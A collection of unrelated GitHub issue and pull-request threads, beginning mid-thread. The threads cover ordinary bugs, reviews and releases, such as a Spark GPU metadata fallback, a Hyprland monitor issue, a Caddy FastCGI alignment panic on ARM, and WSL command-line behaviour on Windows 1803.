      *Expression <Cast> cast(_metadata#70 as string) will run on GPU
    *Exec <ProjectExec> will run on GPU
      *Expression <Alias> named_struct(file_path, file_path#88, file_name, file_name#89, file_size, file_size#90L, file_modification_time, file_modification_time#91) AS _metadata#70 will run on GPU
        *Expression <CreateNamedStruct> named_struct(file_path, file_path#88, file_name, file_name#89, file_size, file_size#90L, file_modification_time, file_modification_time#91) will run on GPU
      !Exec <FileSourceScanExec> cannot run on GPU because hidden metadata columns are not supported on GPU

I am not sure about row_index. I don't see that in any of the PRs for the spark issue. It looks like we actually do all of the work for this on the GPU already, so it might be worth not falling back to the CPU and adding in some tests to cover it, but that is a separate issue.

Thank you for the explanation @revans2.

File #7458 to prevent falling back to CPU with hidden _metadata column.


Add Advanced RecyclerView

Hi. This PR adds Advanced RecyclerView library to the List/Grid category.

Thanks ;)


[BUG] The json processor is not available

Describe the bug
json processor is not available as documented in the docs.
To Reproduce
pipelines.yaml:
log-pipeline:
        source:
                http:
                        ssl: false
        processor:
                 - json:
                         source: "log"
        sink:
                - opensearch: ......

Expected behavior
The error should not occur, and ideally, my json-formatted logs should be parsed.
Error message

2022-12-08T18:19:24,398 [main] ERROR org.opensearch.dataprepper.parser.PipelineParser - Construction of pipeline components failed, skipping building of pipeline [log-pipeline] and its connected pipelines
org.opensearch.dataprepper.model.plugin.NoPluginFoundException: Unable to find a plugin named 'json'. Please ensure that plugin is annotated with appropriate values.

Environment:

docker host OS: Ubuntu 20.04 LTS
docker image: opensearchproject/data-prepper:latest

It appears we do have an issue. The documentation and implementation do not align
The implementation of this feature refers to parse_json as the plugin name.


better package requirement definitions

Checklist

[ ] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

requirements: run: h5py>=3.6.0 must contain a space between the name and the pin, i.e. h5py >=3.6.0
requirements: run: hdf5plugin>=3.3.1 must contain a space between the name and the pin, i.e. hdf5plugin >=3.3.1

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


External Monitors Detected But Inactive

Hey, great project here!
Unfortunately, I've run into a bit of a bug with connecting an external monitor to my laptop. I've tested out another compositor, river, that works on multiple displays. This seems to be a hyprland issue specifically.
Here's what I get from hyprctl monitors:
Monitor eDP-2 (ID 0):
<EMAIL_ADDRESS>at 0x0
	active workspace: 1 (1)
	reserved: 0 0 0 0
	scale: 1.00
	transform: 0
	active: yes

Monitor DP-2 (ID 1):
<EMAIL_ADDRESS>at 2560x0
	active workspace: 2 (2)
	reserved: 0 0 0 0
	scale: 1.00
	transform: 0
	active: no

And here's my configuration:
monitor=eDP-1,2560x1600@120,0x0,1
monitor=eDP-2,2560x1600@120,0x0,1
monitor=DP-2,2560x1440@60,2560x0,1

input {
    kb_layout=
    kb_variant=
    kb_model=
    kb_options=
    kb_rules=

    follow_mouse=1

    touchpad {
        natural_scroll=no
    }
}

bind=SUPER,RETURN,exec,wezterm
bind=SUPER,F,exec,firefox
bind=SUPER,Q,killactive,
bind=SUPER,M,exit,

When checking wlr-randr it shows the second monitor (DP-2) as Enabled: no.
Again, river runs the second monitor just fine, so I'm not quite sure what I've done wrong here.
I'm running an AMD GPU and AMD CPU (6900S & 6900H respectively).
Here's my hyprland.log.
I believe this to be a bug, but if I've done something boneheaded then I apologize ahead of time.
EDIT: To be clear the bug is that the external monitor is a blackscreen -- not on, but it's detected.

whats the bug, you didnt tell me.

Apologies, yeah you're right. The bug is that the second monitor sees the output but doesn't turn on. External monitor is left black.

[ERR] Couldn't commit output named DP-2

can you try a different mode for it? try preferred first, check if that works, and if no, try a lower res from the options wlr-randr will give you. (just type wlr-randr in a terminal to get the modes printed out)

Setting to preferred results in a black screen with hyprctl monitors giving:
Monitor eDP-2 (ID 0):
<EMAIL_ADDRESS>at 0x0
	active workspace: 1 (1)
	reserved: 0 0 0 0
	scale: 1.00
	transform: 0
	active: yes

Monitor DP-3 (ID 1):
<EMAIL_ADDRESS>at 0x0
	active workspace: 2 (2)
	reserved: 0 0 0 0
	scale: 1.00
	transform: 0
	active: no

I had to duplicate a line for DP-3 now.
And setting the monitor to
monitor=DP-3,800x600@72,2560x0,1

Still results in a black screen.
Here's my wlr-randr output.

alright. I'll look into it. It's midnight atm and I'm on vacation, so I'll see what I can do in the evening tomorrow.

Yeah, thanks, after all you're providing this for free. Really appreciate you looking into it.

I found the issue: has to do with how AMD handled muxing and hybrid mode with an iGPU & dGPU on linux.
With how I have the laptop set only a single port on the left side is actually good -- had to buy a external USB-C to display port cable and that is now working flawlessy.
Sorry for taking up your time and I hope you enjoy your vacation :).

weird that river works though.

I have a similar problem that occurs where the monitor is not detected after hibernation, is there a fix for this?


Silent printing

Attach (recommended) or Link to PDF file here:
pdfjs.zip
Configuration:

Web browser and its version: IE, rest of browsers are fine
Operating system and its version: Win 7 or Win 10
PDF.js version: 1.9
Is a browser extension:No

Steps to reproduce the problem:
Hello
I'm trying to setup silent printing of pdf.js document without opening pdf.js viewer for user.
It works fine for Chrome and FF, but not for IE. in IE whole the parent page is printed
What is the expected behavior? (add screenshot)
Print o pdf.document
What went wrong? (add screenshot)
Whole the page is printed
In attachment is complete source, but I think the most important part is here:
`

Closing IE11/Edge (non-Chromium-based) issues in response to #11211. Please note that, as outlined in https://github.com/mozilla/pdf.js/wiki/Frequently-Asked-Questions#faq-support, only bugs which completely prevent the library and/or the default viewer from running will be accepted.


Venue pipeline

What does this change?
This creates a pipeline to ingest Prismic venue documents into a new venues index
https://github.com/wellcomecollection/catalogue-api/issues/757
How to test
Indexing can be performed without errors
Once indexing is successful, check documents in elastic console
How can we measure success?
The documents are successfully index in a new venues index
Have we considered potential risks?
We can delete the index and start again if something goes wrong

If i'm reading this correctly we are reading RegularOpeningDay and ExceptionalClosedDay from Prismic and then calculating nextOpeningDates which is stored in ES.
I think the nextOpeningDates calculation could be moved to the API after storing opening days and exceptions in ES as the current method here relies on regular extraction to generate upcoming dates, and i'm not sure this will function correctly if we are only picking up published changes.

If i'm reading this correctly we are reading RegularOpeningDay and ExceptionalClosedDay from Prismic and then calculating nextOpeningDates which is stored in ES.
I think the nextOpeningDates calculation could be moved to the API after storing opening days and exceptions in ES as the current method here relies on regular extraction to generate upcoming dates, and i'm not sure this will function correctly if we are only picking up published changes.

of course 🤦♀


Add support for weather api auth token

Openweathermap now requires an api token to access their api.

@Nsherred why did you closed this PR ?

It seems that I accidently deleted the branch while trying to change its name to develop. It doesn't look like I can edit the pull request to change it to pull from develop instead. Shall I just recreate the pull request using the correct branch?

Yes


Styling updates, next head added and new prompting mode

Hey, this is my first open source commit so any feedback is much appreciated. Thought I'd just add my two cents to a pretty cool project as I couldn't find anything else that did it so well.
Overview of edits:

Prompting box restyled to look like ChatGPT with absolutely positioned chat button with description text removed (controversial haha)
New Mode that I've tested and has managed to avoid AI detection
Next/Head title and description added.

Cheers
Will

Thanks, Will, and welcome!
I see that you've done a nice overhaul. However, there's one issue to resolve, which is causing the commit to fail. Your edits seem to be based on an older version of the code (from 10 days ago), not the latest code from GitHub - and so they "conflict" (do not apply smoothly) to the latest code.
This means that the UI baseline has changed a bit, so the changes don't apply anymore. But no worries - let's fix this:

Download the latest code from GitHub: You can clone into a new folder and start working from there.
Load the code in your IDE, and see the new files structure (sorry the UI will be a bit different, but way more powerful).
Your changes to the Composer and data.ts (the new location of the profiles) should apply quite well (see all your changes here).

For reference, you were based on commit ba8a281, from 10 days ago. You can look at a graphical chart of the project here.
After the exercise above, you'll have Your Changes + All the Latest & Greatest (e.g. the community has added Microphone input support, Stop Button, and I added persistent chats, and other improvements).
I love that your request has already built and deployed your app here. I am not sure yet if I will apply this Pull Request, as changing the name of the App is a big decision and need to ponder it more, but your "Fork" of the application is absolutely yours and you're free to rename it and change it however you like!

Thanks for your feedback, I've submitted another pull request


For some posts the comments don't show up

See comments on this post: https://nostr.band/note1vugj5sc4y9aths2d2gla8y65xjn02wz0rcxeghs5r66mcngcagnqd0f82f
But they don't show up in the comments section here:
https://dissentwatch.com/boost/?boost_post_id=668592
I've included all relays showing up on nostr.band in the relay argument for the embed script
wss://relay.nostr.band/
wss://soloco.nl/
wss://xn--relao-dra1a.nostr.bg/
wss://realy.nostr.bg/
wss://really.nostr.bg/
wss://relar.nostr.bg/

Can you try clicking the "..." three dots icon, cleaning the cache and try again?

Actually, the article is on those relays, not the comments. Go to the first comment on nostr.band and you'll see it's on wss://broadcaster.nostr.net/ wss://relay.mostr.pub./

I will work on the outbox model #29 and this should pick it up but only if the user has those relays listed per NIP-65

Can you try clicking the "..." three dots icon at the very bottom, cleaning the cache and try again?

Where are th

Actually, the article is on those relays, not the comments. Go to the first comment on nostr.band and you'll see it's on wss://broadcaster.nostr.net/ wss://relay.mostr.pub./

relay.mostr.pub is included in the relays fed to the zapthreads plugin. I've also added broadcaster.nostr.net now. But the comments still aren't showing up. Where is this three dots link to clear he cache? I'm not seeing that.

I've found the three dots and clicked the button to refresh the cache. Not sure if it did anything though.

Is it still broken? Can you share a link so I can take a look?

Yes, it's still broken: https://dissentwatch.com/boost/?boost_post_id=668592
I've now included the nocomments plugin above zapthreads for comparison
Also, zapthreads doesn't show up on iphone browsers.

Sorry for the delay. Will be looking at this soon


JENKINS-29604 - Git CLI client does not propogate username

The CLI implementation of the Git client does not correctly propogate the username for ssh urls and possibly for http(s) urls. To fix this, teach the GIT_SSH scripts for Unix and Windows how to pass the username via "-l" option. In addition, for consistency, include credentials.username with the default user incase http(s) urls don't have user names assigned.
This enables use of a different remote username than the local system username, which seems to be something that was not tested today.
I am not familiar with the test framework used by this plugin, so I wasn't able to figure out how the tests were being run. Ideally we need to provide a test which exhibits this behavior so that we can catch it in the future. Help and insight regarding this would be useful.

The CredentialsTest is configured to use a locally visible file and directory structure for authentication test data.  I currently have several different tests included in my ~/.ssh/auth-data/repos.csv file.  The tests I have include:
{code}

<EMAIL_ADDRESS>as user markewaite with an ssh private key
<EMAIL_ADDRESS>to a private repo as user MarkEWaite with an ssh private key
<EMAIL_ADDRESS>to a private repo as user jenkins with an ssh private key
<EMAIL_ADDRESS>to a public repo as user MarkEWaite with an ssh private key
<EMAIL_ADDRESS>to a public repo as user jenkins with an ssh private key
<EMAIL_ADDRESS>to a private repo as user MarkEWaite with an ssh private key
<EMAIL_ADDRESS>to a public report as user MarkEWaite with an ssh private key
http://localhost:8080/userContent.git (Jenkins userContent) as user mwaite with ssh private key
https://github.com to a public repo as user mwaite
<EMAIL_ADDRESS>to a public repo
<EMAIL_ADDRESS>to a public repo
debian8.markwaite.net:/var/lib/git/mwaite/bin.git as user mwaite
ssh://wheezy64b:45022/var/lib/git/mwaite/bin.git as user mwaite
{code}

I've run those test scenarios successfully on Windows 7, Windows Home Server 2011, Windows 8.1, Debian 6 x86, Debian 7 x64, Debian 8 x64, CentOS 6.6 x86, CentOS 7 x64.  As far as I can tell, your change is good in all those configurations.

I think (b) is the better choice, but I'd like a review from @ndeloof before that change could be brought into the master branch.
The request for authenticated submodule support is the single highest voted enhancement request for the git plugin, so it would be a real victory to have a working, functional authenticated submodule access system working in the plugin.
The tests run with "mvn clean install".  Since they aren't running for you, I assume there is some important difference between your development environment and the environment used by others.
As some questions:

Are you running MacOS or FreeBSD or OpenBSD or HP-UX or AIX or Solaris?  I develop on Ubuntu Linux and test on Windows, CentOS, Debian, and Ubuntu
Is the git executable in your path?
Are you running Windows with cygwin rather than the recommended msysgit?


Added Portuguese Brazilian Translation

Added Portuguese Brazilian Translation to make the sunflower more universal

@googlebot I signed it!

@googlebot I fixed it

@googlebot I fixed it

My email was set to private. I will open a new pull request


e2e: update jenkins-2-plugins fixed by

See https://access.redhat.com/errata/RHSA-2022:9098 as to why this package's fixedby is updated

@RTann I'm not understanding the association between this update and the linked security advisory.  The CVE and RHSA mentioned in the advisory are not listed as Vulnerabilities for jenkins-2-plugins in the test case.
Is there an association I'm missing? (in other words: how did you come to the conclusion that based on the advisory this needed updating?)

@RTann What triggered this update? Did you see testing failing somewhere? Especially curious because I want to understand if this should be handled by @acs-scanner-primary.

I'm still wrapping my head around how the 'fixed by' version gets updated for something thats already fixed - almost as if the vuln wasn't actually fixed previously.

ah ok so we have two FixedBy fields. One associated with a vulnerability for a package and one associated with the package outside of any vulnerabilities. This is the latter. This particular FixedBy answers the following: "What is the minimum version to which I can update the package such that the package is not affected by any fixable vulnerabilities?" This is not the FixedBy for a specific vulnerability affecting the package. The only reason that would be updated would be if we had a bug or the source feed had a bug.


Use UFT8 in PhantomJSEnv

FileWriter is used throughout PhantomJSEnv, which defaults to the system encoding. If a user has not set the java system property file.encoding to UTF-8 and a dependency contains a UTF-8 character, builds may fail with the error "org.scalajs.jsenv.ExternalJSEnv$NonZeroExitException: PhantomJS2 exited with code 2".
In my case, this was due to https://github.com/widok/scala-js-momentjs pulling in moment-with-locales.min.js, which contains many UTF-8 characters and using them in regexes. The resulting errors were Uncaught SyntaxError: Invalid regular expression: /?|?/: Nothing to repeat due to regexes where the non-ascii characters were all represented by question marks.

Thanks for the report. We will look into it.


CORE-16983 Interop / Jackson serializers and deserializers for DigitalSignatureAndMetadata

Jackson serializers and deserializers for DigitalSignatureAndMetadata including all nested types used inside DigitalSignatureAndMetadata and especially proof of batch signature.
The test using extended UtxoLedgerTest class which produces transaction with a Merkle tree proof - signed by "signBatch".
Due to quite awkward dependencies between modules, the test is in UTXO module - as only this module can produce a sample signature with proof - this could be improved.
TODO OSGI issue to resolve -see failed Jenkins build
The second part of the work would be to add those serializes to the Facade Jackson module and modify Cordapp to send them (+ Facade).

Closing, this is superseded by https://github.com/corda/corda-runtime-os/pull/4691


Docs: improved README examples of stats/base/dists/exponential namespace

Resolves #1624  .
Description

What is the purpose of this pull request?

This pull request:

Improves the README examples for the stats/base/dists/exponential namespace package
Provides a more comprehensive and informative example demonstrating various functionalities of the package
Enhances user understanding of how to use the namespace contents

Related Issues

Does this pull request have any related issues?

This pull request:

resolves #1624

Questions

Any questions for reviewers of this pull request?

No.
Other

Any other information relevant to this pull request? This may include screenshots, references, and/or implementation notes.

No.
Checklist

Please ensure the following tasks are completed before submitting this pull request.

[x] Read, understood, and followed the contributing guidelines.

@stdlib-js/reviewers

@Planeshifter please have a look at the examples for stats/base/dists/exponential.


Bump to 4.0.0

Proposing a new release, assuming 4.x due to drop of 1.9 and probable incompatibility of the sort helper.

Any other cleanup, or breaking changes we could do this timeframe?

E.g., it may make sense to drop support for ActiveRecord 3.2, 4.0, and 4.1, because they are no longer supported: https://github.com/wvanbergen/scoped_search/blob/master/.travis.yml#L23-L25

Yes, that's a good idea. I'd also like to remove the autocomplete JS/JQuery helpers too then, they've been deprecated since 3.0.0 in favour of using the assets pipeline - this would simply leave sort and the internal a_link. I'll update this PR with these changes if that's OK?

:ship:

PR updated to remove all of the old autocomplete helpers, remove 3.2-4.1 support and various version-based conditionals.

One more idea: adopt keyword arguments.

Where we are currently using option hashes.
Where we are currently using long argument list (especially when some of them are optional.

One more idea: adopt keyword arguments.

Yes, this would be good, the registration method signature is quite unwieldy. I can only see a couple of likely candidates:

Where we are currently using option hashes.

Definition::Field.initialize (or Definition#define), handling the registration of new fields for searching

Where we are currently using long argument list (especially when some of them are optional.

sort helper

I'll look a bit more closely and file a separate PR.

Awesome ❤

Rebased, and updated the changelog to mention deprecations for :in and :alias.
I've not managed to convert sort to keyword arguments easily, the method signature doesn't allow it (it's backwards, options are the first argument) so this can be done in a later minor release I think. It'll probably need a replacement method under another name.

IMHO, for sort we should make html_options and url_options part of options, and convert the result to keyword arguments.
It'll be a backwards incompatible change, but I suspect not many people are using those final 2 argument. Even if you do, your code will blow up in an easy to understand way, and the fix is simple.

IMHO, for sort we should make html_options and url_options part of options, and convert the result to keyword arguments.

Yes, I agree. I was unsure about making such a backwards incompatible change though, but perhaps you're right, it's rare that it's used (I thought Foreman used it heavily, but it doesn't.). It'd be good to get in before url_options is commonly used. I'll open a PR for that change.

Rebased with the changes to sort() documented.

🎉

Thanks for all of the feedback @wvanbergen. I'll leave you to tag and release the gem.

Let's make sure you can do that as well. rake release should do the trick. If I haven't added you to rubygems.org as owner yet, let me know.

You'll need to add me then, dominic at cleal dot org is my registered e-mail address.

Added!

Success, thanks! 4.0.0 is now available.


Rebuilt website front end for easier readability and manipulation.

Ok Im going to bed now but I was up all night rebuilding the css from scratch after creating a style guide list to organize the different types of elements on the page. Now, @JoseGrangerSalgado I know how you changed the html to make the profile page exist on the dashboard and only become visible on a button click, well now its even easier since all you need to do to that element is change its property from display none to display visible or whatever - the css grid will automatically add it and readjust the other divs.
There is a file called styleguide.txt to show how the classes are organized, and I deleted the old code since anyone can get it from here on github. Have a look at the guide and the html code to get your bearings and load the items from whatever JSON comes its way. There are certain ids on important elements for easy access through Javascript @JoseGrangerSalgado @jpaints3 @josueetcom

One more thing, the htmlComponents.html page is for your reference to see how to structure elements like cards and menu items (aka strips).

I also haven't copied the code into matchdashboard.html because now I think we can make this a one page website like what @JoseGrangerSalgado was thinking by adding the personal profile page to the dashboard. @jpaints3 @josueetcom .

Approving to get you unblocked. Though FYI, these kinds of changes can be disruptive for others if they've already started making changes based on the previous layout.

After looking at the website code I'd done before, I realized that going ahead with it would cause more problems than any adjustments to changes made by anybody else like Jose altering it. Its simpler and more readable for it, with only minor changes to any javascript code needed. Basically my old code even hurt my eyes since it was even hard for me to follow - I built it in like a couple days without creating a logical guide


[e2e] Results of e2e tests in github actions for ipvs backend and dual stack

Some test cases failing for ipvs backend and dual stack
Please check the below link for reference
https://github.com/kubernetes-sigs/kpng/runs/4362503110?check_suite_focus=true

As we have less no of issues in each of the backends due to lot of issues fixed, closing this issue. We can open new issues for each failures now.


MSID: 92948 Version: 2 DOI: 10.1101/2<IP_ADDRESS>3222

MSID: 92948
Version: 2
Preprint DOI: https://doi.org/10.1101/2<IP_ADDRESS>3222
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=92948
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.1101/2<IP_ADDRESS>3222

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/92948v2
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.1101/2<IP_ADDRESS>3222
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/92948/v2/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!

warn: [mixed-citation-other-publication-flag] mixed-citation in reference (id=c1) has a publication-type='other'. Is that correct?
warn: [mixed-citation-other-publication-flag] mixed-citation in reference (id=c31) has a publication-type='other'. Is that correct?
warn: [mixed-citation-other-publication-flag] mixed-citation in reference (id=c63) has a publication-type='other'. Is that correct?


Parital view ?

Is there a way to do partial view but to the right of the active slide rather than both sides?
This is what I currently have right now ... http://codepen.io/kkashou/pen/ZLYmaN

Solved ... just got ride of infinite option.


Feature Request: Expand support for .evtx files

Currently there is only support for process creation events, we'd like to add support for additional event ids.
We'd like to work on this issue. Can you assign it to us? @julieces @carlyabraham @alishasonawalla
Thank you!!!

Go for it! Submit a pull request with any code you want merged in and i'll review it. Please try and use the same style as the rest of the repo (I use the black formatter with a line length of 100) and type-hint your code as well as add test cases for anything you add.
You can look at #11 , #5  for examples


Opening local HTML file

Opening a local HTML file does nothing. I also tried the "Open Web URL" option with a path to the file and still nothing.

What o/s version and Helium version is this?  I am accomodating towards High Sierra and sandbox support where both these issue were addressed. Given still pending issues in app certification, I'd made a zip available in Helium 3 issue #4.


OCM-9892 | feat: add root disk size to TF provider

What this PR does / why we need it:

Adds the custom disk size field for creating node pools to the terraform provider, so that node pools with a custom disk size can be created through terraform
Adds a disk size field to HCP cluster creation so that day 1 node pools w/ custom disk size can be created through terraform

Which issue(s) this PR fixes (optional, use fixes #<issue_number>(, fixes #<issue_number>, ...) format, where issue_number might be a GitHub issue, or a Jira story (OCM-xxxx):
https://issues.redhat.com/browse/OCM-9892
Change type

[ x] New feature
[ ] Bug fix
[ ] Build
[ ] CI
[ ] Documentation
[ ] Performance
[ ] Refactor
[ ] Style
[ ] Unit tests
[ x] Subsystem tests

Checklist

[ ] Subject and description added to both, commit and PR.
[ ] Relevant issues have been referenced.

/ok-to-test

/approve

/lgtm

/retest

/retest

/retest

@willkutler Do you know where do we usually update the examples for this new update?

@willkutler Could you also take a look about the failed test job, it raise the  below error, which seems that it doesn't support the scenario that user don't configure disk_size
Mismatch between struct and object type: Struct defines fields not found in
      object: disk_size.
      Struct: hcp.AWSNodePool

https://storage.googleapis.com/test-platform-results/pr-logs/pull/terraform-redhat_terraform-provider-rhcs/793/pull-ci-terraform-redhat-terraform-provider-rhcs-main-rosa-hcp-advanced-critical-high-presubmit/1836496582241947648/build-log.txt

@marcolan018 do you have any idea what would be causing this test failure? The error message seems like the problem is the disk size not being defined in the AWSNodePool struct but I have added the field to that struct in provider/machinepool/hcp/aws_node_pool.go

/test rosa-sts-private-critical-high-presubmit

/test rosa-sts-private-critical-high-presubmit

/test rosa-sts-private-critical-high-presubmit

/lgtm


Element cannot be found for native macOS app

Hi, everyone!
Sorry if I'm being silly. I'm facing an issue when trying to find element by 'id' or 'accessibility id' each time getting 404 response. Also, for some reason, app elements can be located by Accessibility Inspector but not by Appium Inspector. I would be grateful for any advice.
Environment:
Appium v1.20.2
Xcode 12.4 (12D4e)
macOS Version 11.2.3 (Build 20D91)
Python 3.9.4, pytest-6.2.3, py-1.10.0, pluggy-0.13.1
Application under test is native macOS (Cocoa/Foundation Kit + screens are created programmatically, storyboards not used)
Full logs:
https://gist.github.com/SharpQ/aec1440f0473b581d55c4a84191a7dbe

It could be that the page tree that XCTest consumes is different. Please attach the actual XML page source generated before the lookup is made.

Thanks for the quick reply! You can find XML page source here:
https://gist.github.com/SharpQ/44606e76cd50532a10cb25d248060112
Frankly speaking, I see none of the page elements I need.

If it is not visible in the page source then there is nothing we could do from Appium side. I would try to report it to Apple.


The new code folding feature does not recognize whitespace between regions

If you have multiple regions on top of each other, the white space between regions is ignored. When the code is collapsed you end up with all the regions stacked without any whitespace.
Region 1 ----
FooBar
Region 2 ----
FooBar
Region 3 ----
FooBar
End ----

https://github.com/Microsoft/RTVS/commit/21cc269b6ce0172d999bac543f125869873915a2


Question: Is there a way to change subnamespace parent?

For some reason, I needs to move a subnamespace(created by subnamespaceanchors) from one namespace to another.
I have went through the documents and found that it seams it is only possible if the child namespace is a normal namespace .(not a "subnamespace").
I prefer not giving namespace creation permission to the root namespace manager, so all child namespaces will be created by subnamespaceanchors.  Is there a way to change subnamespace parent?
Many thanks.

There is! I recently needed to do this as well. The process is outlined in https://github.com/kubernetes-sigs/multi-tenancy/issues/1045#issuecomment-678816878. Basically, you do the following:

Remove the annotation hnc.x-k8s.io/subnamespace-of from the namespace to be moved.
Delete the SubnamespaceAnchor of the namespace to be moved.
Add the annotation hnc.x-k8s.io/subnamespace-of: <new parent> back to the namespace to be moved.

At this point, the namespace tree labels will be updated on the moved namespace and subnamespaces. But the HNC will also report the error that the SubnamespaceAnchor doesn't exist (you can see the error if you run kubectl hns tree -A).
All propagated resources will be updated for the new structure after this as well.

Add the SubnamespaceAnchor resource to the new parent for the moved namespace.


Add new Stage 1 document

Add new Stage 1 document
Add overview and context to Stage 1 document

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#334
#333  👈
#327
#326
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @maurelian and the rest of your teammates on  Graphite


wsl execute only bash commands and not windows options

When I try to execute cmd commands such as wsl -l, wsl returns this message:
/bin/bash: -c: option requires an argument
However, using wsl as a bash command launcher works.
What do I have to do in order to use wsl windows options such as wsl -l, wsl --install, etc.?

What is the Windows 10 version? Does wsl.exe support that command line option? Does wsl.exe --help shows that option?

windows version: 1803
When I run wsl.exe --help, the result is this

C:\Users\XXXX>wsl.exe --help
/bin/bash: --: invalid option
Usage:  /bin/bash [GNU long option] [option] ...
/bin/bash [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--rcfile
--restricted
--verbose
--version
Shell options:
-ilrsD or -c command or -O shopt_option         (invocation only)
-abefhkmnptuvxBCHP or -o option

windows version: 1803

That's to far back (April 2018) to get a handle on what's going on here. This could be how wsl.exe behaved (by design) back then; tbh I don't remember.

What do I have to do in order to use wsl windows options such as wsl -l, wsl --install, etc.?

Try 1909.

Actually it was the case. It wasn't a machine of mine, so I didn't consider
that Windows 10 was not updated and I was searching for other more arcane
solutions.
Thanks a lot!!!
El vie., 28 feb. 2020 a las 20:37, therealkenc<EMAIL_ADDRESS>escribió:

windows version: 1803
That's to far back (April 2018) to get a handle on what's going on here.
This could be how wsl.exe behaved (by design) back then; tbh I don't
remember.
What do I have to do in order to use wsl windows options such as wsl -l,
wsl --install, etc.?
Try 1909.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/microsoft/WSL/issues/4937?email_source=notifications&email_token=AADEPQA4Y5J7L4ZA3ASGPR3RFFRWVA5CNFSM4K5Q2U7KYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOENJ4GXA#issuecomment-592692060,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AADEPQAOXS3OV4SESTA2FNTRFFRWVANCNFSM4K5Q2U7A
.

--
Dr. Juan Luis Chulilla Cano
Socio, Online and Offline, S.L.
Telf.:  650 461435
es.linkedin.com/in/jlchulilla/
telegram y twitter: @poliorcetes
www.onlineandoffline.net
www.wintablet.info
tinta-e.blogspot.com
podcast portierramaryaire:
https://www.ivoox.com/podcast-portierramaryaire-podcast_sq_f1456223_1.html
www.eddiy.es


Panic when using FastCGI on certain architectures

Using FastCGI with Caddy 0.9.4 leads to a invalid memory address or nil pointer dereference in go/src/sync/atomic/asm_*.s on: ARMv6, ARMv7, i686. Everything works on: amd64. Always using Linux.
See https://forum.caddyserver.com/t/panic-with-ssl-fcgi/1168/10?u=22749
$ cd /tmp
$ wget https://www.saddi.com/software/flup/dist/flup-1.0.2.tar.gz
$ tar -xzvf flup-1.0.2.tar.gz
$ cd flup-1.0.2
$ cat > hello.py
def myapp(environ, start_response):
	start_response('200 OK', [('Content-Type', 'text/plain')])
	return ['Hello World!\n']

if __name__ == '__main__':
	from flup.server.fcgi import WSGIServer
	WSGIServer(myapp, bindAddress='fcgi.sock').run()

$ cat > Caddyfile
:2016
fastcgi / /tmp/flup-1.0.2/fcgi.sock
$ caddy -log stderr &
$ curl http://localhost:2016
2016/12/22 22:32:34 [PANIC] runtime error: invalid memory address or nil pointer dereference
500 Internal Server Error

Without the fastcgi directive there is no panic. All architectures worked fine with Caddy 0.9.3. All builds came from https://caddyserver.com/download

Aha - while I'm only speculating, I bet this is it (see third bug, about word alignment): https://golang.org/pkg/sync/atomic/#pkg-note-BUG
See<EMAIL_ADDRESS>- I'm guessing this field is not aligned properly. @wendigo - when you have a chance, could you swap that up to the first field in the struct instead of the second? And then see if there are any other fields like that which need to be re-aligned.

Indeed looks like an alignment issue. See https://github.com/golang/go/issues/599

Actually I'll just fix it real quick. @tewe can you build from source to test it? I'm pushing a fix right now.

@mholt 👍 it´s working

@elcore On ARM?

@elcore On ARM?
Yes 😄

Thanks for checking.

Works for me on Raspberry Pi 1 (ARMv6)
BTW cross-compiling was amazingly simple

Yeah, Go is awesome like that 😎  glad it works for you. Thanks!


Migrate CoW Swap to new order endpoint

